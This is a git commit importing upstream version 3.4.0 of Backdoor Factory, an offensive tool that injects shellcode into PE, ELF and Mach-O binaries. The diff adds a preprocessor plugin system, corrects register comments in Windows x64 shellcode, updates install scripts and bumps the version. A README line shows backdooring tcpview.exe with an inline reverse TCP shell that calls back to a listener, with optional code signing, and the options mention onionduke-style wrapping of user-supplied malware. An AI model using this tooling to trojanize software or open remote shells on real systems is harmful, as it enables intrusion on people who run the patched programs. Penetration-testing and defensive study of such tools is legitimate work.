Commit 562e9711 authored by Sophie Brun's avatar Sophie Brun

Imported Upstream version 3.4.0

parent 15421d63
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
......@@ -244,7 +244,7 @@ Your certs/ directory should look excatly as so:
├── signingPrivateKey.pem
└── signingCert.cer
Enable PE Code Signing with the -C floag as so:
Enable PE Code Signing with the -C flag as so:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
......@@ -295,7 +295,6 @@ On successful run you should see this line in BDF output:
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
* Stability fix for auto cave selection for rare caves of overlap
......
#!/usr/bin/env python
#!/usr/bin/env python2
'''
BackdoorFactory (BDF) v3 - FOUNTAINPATCH
......@@ -12,7 +12,7 @@ techniques are based on.
Special thanks to Travis Morrow for poking holes in my ideas.
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......@@ -62,7 +62,7 @@ def signal_handler(signal, frame):
class bdfMain():
version = """\
Version: 3.3.1
Version: 3.4.0
"""
author = """\
......@@ -269,7 +269,7 @@ class bdfMain():
help="For payloads that have the ability to beacon out, set the time in secs"
)
parser.add_option("-m", "--patch-method", dest="PATCH_METHOD", default="manual", action="store",
type="string", help="Patching methods for PE files, 'manual','automatic', "
type="string", help="Patching methods for PE files, 'manual','automatic', replace "
"and onionduke")
parser.add_option("-b", "--user_malware", dest="SUPPLIED_BINARY", default=None, action="store",
help="For onionduke. Provide your desired binary.")
......@@ -286,6 +286,8 @@ class bdfMain():
help="For those with codesigning certs wishing to sign PE binaries only. "
"Name your signing key and private key signingcert.cer and signingPrivateKey.pem "
"repectively in the certs directory it's up to you to obtain signing certs.")
parser.add_option("-p","--preprocess", dest="PREPROCESS", default=False, action="store_true",
help="To execute preprocessing scripts in the preprocess directory")
(options, args) = parser.parse_args()
......@@ -352,7 +354,9 @@ class bdfMain():
options.PATCH_METHOD,
options.SUPPLIED_BINARY,
options.XP_MODE,
options.IDT_IN_CAVE
options.IDT_IN_CAVE,
options.CODE_SIGN,
options.PREPROCESS,
)
elif is_supported is "ELF":
supported_file = elfbin(options.FILE,
......@@ -364,7 +368,8 @@ class bdfMain():
options.FIND_CAVES,
options.SHELL_LEN,
options.SUPPLIED_SHELLCODE,
options.IMAGE_TYPE
options.IMAGE_TYPE,
options.PREPROCESS,
)
elif is_supported is "MACHO":
supported_file = machobin(options.FILE,
......@@ -375,7 +380,8 @@ class bdfMain():
options.SUPPORT_CHECK,
options.SUPPLIED_SHELLCODE,
options.FAT_PRIORITY,
options.BEACON
options.BEACON,
options.PREPROCESS,
)
if options.SUPPORT_CHECK is True:
......@@ -448,6 +454,7 @@ class bdfMain():
options.XP_MODE,
options.IDT_IN_CAVE,
options.CODE_SIGN,
options.PREPROCESS,
)
supported_file.OUTPUT = None
supported_file.output_options()
......@@ -462,7 +469,8 @@ class bdfMain():
options.FIND_CAVES,
options.SHELL_LEN,
options.SUPPLIED_SHELLCODE,
options.IMAGE_TYPE
options.IMAGE_TYPE,
options.PREPROCESS,
)
supported_file.OUTPUT = None
......@@ -478,7 +486,8 @@ class bdfMain():
options.SUPPORT_CHECK,
options.SUPPLIED_SHELLCODE,
options.FAT_PRIORITY,
options.BEACON
options.BEACON,
options.PREPROCESS,
)
supported_file.OUTPUT = None
supported_file.output_options()
......@@ -515,6 +524,7 @@ class bdfMain():
options.SHELL_LEN,
options.FIND_CAVES,
options.SUFFIX,
options.CAVE_MINER,
options.DELETE_ORIGINAL,
options.IMAGE_TYPE,
options.ZERO_CERT,
......@@ -525,6 +535,7 @@ class bdfMain():
options.XP_MODE,
options.IDT_IN_CAVE,
options.CODE_SIGN,
options.PREPROCESS,
)
supported_file.injector()
sys.exit()
......@@ -564,6 +575,7 @@ class bdfMain():
options.XP_MODE,
options.IDT_IN_CAVE,
options.CODE_SIGN,
options.PREPROCESS,
)
elif is_supported is "ELF":
supported_file = elfbin(options.FILE,
......@@ -575,7 +587,8 @@ class bdfMain():
options.FIND_CAVES,
options.SHELL_LEN,
options.SUPPLIED_SHELLCODE,
options.IMAGE_TYPE
options.IMAGE_TYPE,
options.PREPROCESS,
)
elif is_supported is "MACHO":
......@@ -587,7 +600,8 @@ class bdfMain():
options.SUPPORT_CHECK,
options.SUPPLIED_SHELLCODE,
options.FAT_PRIORITY,
options.BEACON
options.BEACON,
options.PREPROCESS,
)
else:
......@@ -597,7 +611,6 @@ class bdfMain():
if result is True and options.SUPPORT_CHECK is False:
print "File {0} is in the 'backdoored' directory".format(os.path.basename(supported_file.OUTPUT))
#END BDF MAIN
if __name__ == "__main__":
......
#!/usr/bin/env python
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......@@ -35,6 +35,7 @@ POSSIBILITY OF SUCH DAMAGE.
import struct
import os
import shutil
import tempfile
from intel.LinuxIntelELF32 import linux_elfI32_shellcode
from intel.LinuxIntelELF64 import linux_elfI64_shellcode
from intel.FreeBSDIntelELF32 import freebsd_elfI32_shellcode
......@@ -94,7 +95,7 @@ class elfbin():
"""
def __init__(self, FILE, OUTPUT=None, SHELL=None, HOST="127.0.0.1", PORT=8888,
SUPPORT_CHECK=False, FIND_CAVES=False, SHELL_LEN=70,
SUPPLIED_SHELLCODE=None, IMAGE_TYPE="ALL"):
SUPPLIED_SHELLCODE=None, IMAGE_TYPE="ALL", PREPROCESS=False):
#print FILE
self.FILE = FILE
self.OUTPUT = OUTPUT
......@@ -108,6 +109,10 @@ class elfbin():
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.IMAGE_TYPE = IMAGE_TYPE
self.shellcode_vaddr = 0x0
self.PREPROCESS = PREPROCESS
self.ORIGINAL_FILE = self.FILE
self.tmp_file = None
self.keep_temp = False
self.file_size = os.path.getsize(self.FILE)
self.supported_types = {0x00: # System V
[[0x01, # 32bit
......@@ -239,6 +244,85 @@ class elfbin():
print str(e)
print "[*] Total of %s caves found" % len(caveTracker)
def loadthis(self, amod):
section = amod.split('.')
mod = ".".join(section[:-1])
amod = __import__(mod)
for item in section[1:]:
amod = getattr(amod, item)
return amod
def preprocess(self):
# files in directory
ignore = ['__init__.py']
for afile in os.listdir("./preprocessor"):
if afile in ignore:
continue
if ".pyc" in afile:
continue
if len(afile.split(".")) > 2:
print "!" * 50
print "\t[!] Make sure there are no '.' in your preprocessor filename:", afile
print "!" * 50
return False
name = "preprocessor." + afile.strip(".py")
preprocessor_name = __import__( name, fromlist=[''])
if preprocessor_name.enabled is True:
print "[*] Executing preprocessor:", afile.strip(".py")
else:
continue
if preprocessor_name.file_format.lower() in ['elf', 'all']: #'elf', 'macho', 'mach-o']:
print '[*] Running preprocessor', afile.strip(".py"), "against", preprocessor_name.file_format, "formats"
else:
continue
# Allow if any processors to keep it
if self.keep_temp is False:
self.keep_temp = preprocessor_name.keep_temp
# create tempfile here always
if self.tmp_file == None:
self.tmp_file = tempfile.NamedTemporaryFile()
self.tmp_file.write(open(self.FILE, 'rb').read())
self.tmp_file.seek(0)
print "[*] Creating temp file:", self.tmp_file.name
else:
print "[*] Using existing tempfile from prior preprocessor"
load_name = name + ".preprocessor"
preproc = self.loadthis(load_name)
m = preproc(self)
print "=" * 50
# execute preprocessor
result = m.run()
if result is False:
print "[!] Preprocessor Failure :("
print "=" * 50
# After running push it to BDF.
self.FILE = self.tmp_file.name[:]
# check for support after each modification
if preprocessor_name.recheck_support is True:
issupported = self.support_check()
if issupported is False:
print self.FILE, "is not supported."
return False
def set_shells(self):
"""
This function sets the shellcode.
......@@ -368,6 +452,8 @@ class elfbin():
j = self.bin_file.read(1)
if len(j) == 0:
break
elif j == "\x00":
break
else:
name += j
#print "name:", name
......@@ -559,12 +645,22 @@ class elfbin():
'''
self.support_check()
if self.supported is False:
print "[!] ELF Binary not supported"
return False
gather_result = self.gather_file_info()
if gather_result is False:
print "[!] Are you fuzzing?"
return False
self.output_options()
if self.PREPROCESS is True:
print "True"
self.preprocess()
if not os.path.exists("backdoored"):
os.makedirs("backdoored")
os_name = os.name
......@@ -575,12 +671,6 @@ class elfbin():
shutil.copy2(self.FILE, self.backdoorfile)
gather_result = self.gather_file_info()
if gather_result is False:
print "[!] Are you fuzzing?"
return False
print "[*] Getting shellcode length"
resultShell = self.set_shells()
......@@ -775,7 +865,21 @@ class elfbin():
self.JMPtoCodeAddress = self.shellcode_vaddr - self.e_entry - 5
self.bin_file.close()
print "[!] Patching Complete"
if self.tmp_file != None:
if self.keep_temp is True:
# tmpfilename_orginalname.exe
print "[*] Saving TempFile to:", os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE
shutil.copy2(self.FILE, os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE )
try:
shutil.rmtree(self.tmp_file.name)
except: # OSError:
pass
#print "[*] TempFile already removed."
return True
# END elfbin clas
......@@ -4,6 +4,7 @@
# capstone (newest)
# pefile
# python-capstone
# autoconf
if [[ $EUID -ne 0 ]]; then
......@@ -15,7 +16,7 @@ fi
uname -a | grep -i kali &> /dev/null
if [ $? -eq 0 ]; then
apt-get update
apt-get install -y python-capstone
apt-get install -y python-capstone autoconf libtool curl libcurl4-openssl-dev
echo '[*] Install osslsigncode'
cd osslsigncode
......@@ -44,7 +45,7 @@ uname -a | grep -v "kali" | grep -i linux &> /dev/null
if [ $? -eq 0 ]; then
if hash pip 2>/dev/null; then
sudo apt-get install -y python-pip
sudo apt-get install -y python-pip autoconf libtool curl libcurl4-openssl-dev
pip install pefile
#install capstone
pip install capstone
......@@ -79,12 +80,17 @@ fi
#OS X appack install
uname -a | grep -i Darwin &> /dev/null
if [ $? -eq 0 ]; then
brew install autoconf
brew install automake
brew install libtool
pip install pefile
pip install capstone
echo '[*] Install osslsigncode'
cd osslsigncode
./autogen.sh
./configure
cd osslsigncode
./autogen.sh
./configure
make
make install
cd ..
......@@ -92,6 +98,6 @@ if [ $? -eq 0 ]; then
cd ./aPLib/example/
clang -c -I../lib/macho64 -Wall -O2 -o appack.o appack.c -v
clang -Wall -O2 -o appack appack.o ../lib/macho64/aplib.a -v
cp ./appack /usr/bin/appack
cp ./appack /usr/local/bin/appack
fi
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
''''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......@@ -978,8 +978,8 @@ class winI64_shellcode():
rbp
r12
r13
r14: GetProcAddress
r15: LoadLibraryA
r14: LoadLibraryA
r15: GetProcAddress
'''
......@@ -1226,8 +1226,8 @@ class winI64_shellcode():
rbp
r12
r13
r14: GetProcAddress
r15: LoadLibraryA
r14: LoadLibraryA
r15: GetProcAddress
'''
......@@ -1729,8 +1729,8 @@ class winI64_shellcode():
)
# socket is in r12
# rdi has the struct for the socket
# r14: GetProcAddress
# r15: LoadLibraryA
# r14: LoadLibraryA
# r15: GetProcAddress
# r13 has ws2_32 handle
# reminder: RCX, RDX, R8, R9 for the first four integer or pointer arguments
self.shellcode2 += ("\x90\x90\x90\x90"
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
#!/usr/bin/env python
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......@@ -35,6 +35,7 @@ POSSIBILITY OF SUCH DAMAGE.
import os
import struct
import shutil
import tempfile
from intel.MachoIntel64 import macho_intel64_shellcode
from intel.MachoIntel32 import macho_intel32_shellcode
......@@ -43,7 +44,7 @@ class machobin():
def __init__(self, FILE, OUTPUT=None, SHELL=None, HOST="127.0.0.1", PORT=8080,
SUPPORT_CHECK=False, SUPPLIED_SHELLCODE=None, FAT_PRIORITY="x64",
BEACON=15
BEACON=15, PREPROCESS=False
):
self.FILE = FILE
self.OUTPUT = OUTPUT
......@@ -60,6 +61,10 @@ class machobin():
self.FAT_FILE = False
self.FAT_PRIORITY = FAT_PRIORITY
self.BEACON = BEACON
self.PREPROCESS = PREPROCESS
self.ORIGINAL_FILE = self.FILE
self.tmp_file = None
self.keep_temp = False
self.supported_CPU_TYPES = [0x7, # i386
0x01000007 # x64
]
......@@ -83,6 +88,7 @@ class machobin():
else:
print "%s is supported." % self.FILE
return True
self.support_check()
result = self.patch_macho()
return result
......@@ -100,6 +106,86 @@ class machobin():
print '[!] Not a proper Mach-O file'
self.supported = False
def loadthis(self, amod):
section = amod.split('.')
mod = ".".join(section[:-1])
amod = __import__(mod)
for item in section[1:]:
amod = getattr(amod, item)
return amod
def preprocess(self):
# files in directory
ignore = ['__init__.py']
for afile in os.listdir("./preprocessor"):
if afile in ignore:
continue
if ".pyc" in afile:
continue
if len(afile.split(".")) > 2:
print "!" * 50
print "\t[!] Make sure there are no '.' in your preprocessor filename:", afile
print "!" * 50
return False
name = "preprocessor." + afile.strip(".py")
preprocessor_name = __import__( name, fromlist=[''])
if preprocessor_name.enabled is True:
print "[*] Executing preprocessor:", afile.strip(".py")
else:
continue
if preprocessor_name.file_format.lower() in ['macho', 'all']: #'elf', 'macho', 'mach-o']:
print '[*] Running preprocessor', afile.strip(".py"), "against", preprocessor_name.file_format, "formats"
else:
continue
# Allow if any processors to keep it
if self.keep_temp is False:
self.keep_temp = preprocessor_name.keep_temp
# create tempfile here always
if self.tmp_file == None:
self.tmp_file = tempfile.NamedTemporaryFile()
self.tmp_file.write(open(self.FILE, 'rb').read())
self.tmp_file.seek(0)
print "[*] Creating temp file:", self.tmp_file.name
else:
print "[*] Using existing tempfile from prior preprocessor"
load_name = name + ".preprocessor"
preproc = self.loadthis(load_name)
m = preproc(self)
print "=" * 50
# execute preprocessor
result = m.run()
if result is False:
print "[!] Preprocessor Failure :("
print "=" * 50
# After running push it to BDF.
self.FILE = self.tmp_file.name[:]
# check for support after each modification
if preprocessor_name.recheck_support is True:
issupported = self.support_check()
if issupported is False:
print self.FILE, "is not supported."
return False
def output_options(self):
"""
Output file check.
......@@ -413,6 +499,9 @@ class machobin():
self.output_options()
if self.PREPROCESS is True:
self.preprocess()
if not os.path.exists("backdoored"):
os.makedirs("backdoored")
......@@ -570,4 +659,18 @@ class machobin():
bin.write(struct.pack("<I", oldsize - 0x10))
print "[!] Patching Complete"
# CHECK AND DELETE TMP FILE HERE
if self.tmp_file != None:
if self.keep_temp is True:
# tmpfilename_orginalname.exe
print "[*] Saving TempFile to:", os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE
shutil.copy2(self.FILE, os.path.basename(self.FILE) + '_' + self.ORIGINAL_FILE )
try:
shutil.rmtree(self.tmp_file.name)
except: # OSError:
pass
#print "[*] TempFile already removed."
return True
#!/usr/bin/env python
'''
Copyright (c) 2013-2015, Joshua Pitts
Copyright (c) 2013-2016, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
......
This diff is collapsed.
#!/usr/bin/env python
# settings
# Complete these as you need
#############################################
# ENABLE preprocessor
enabled = True
# If you want to keep the temp file for inspection - pre-patch state.
# THE NAME is self.tmp_file
keep_temp = False
# Recheck the file before patching or the next preprocessor
recheck_support = False
# file format that this is for (PE, ELF, MACHO, ALL)
# if not specified the processor will run against all
file_format = "ALL"
#############################################
class preprocessor:
# REQUIRED
def __init__(self, BDF):
# REQUIRED -- exposes BDF objects to the preprocessor environment
self.BDF = BDF
# You can set a return, just add a check that returns False
# 'None' does not flag
self.result = True
# REQUIRED
def run(self):
# call your program main here, we're calling print_debug()
self.print_debug()
return self.result
def print_debug(self):
print "*"*25, "DEBUG INFO", "*"*25
try:
for item, data in vars(self.BDF).iteritems():
# file Items (flItms) will be printed later
if item == 'flItms':
continue
# This will give ARGS info
print item, ":" ,data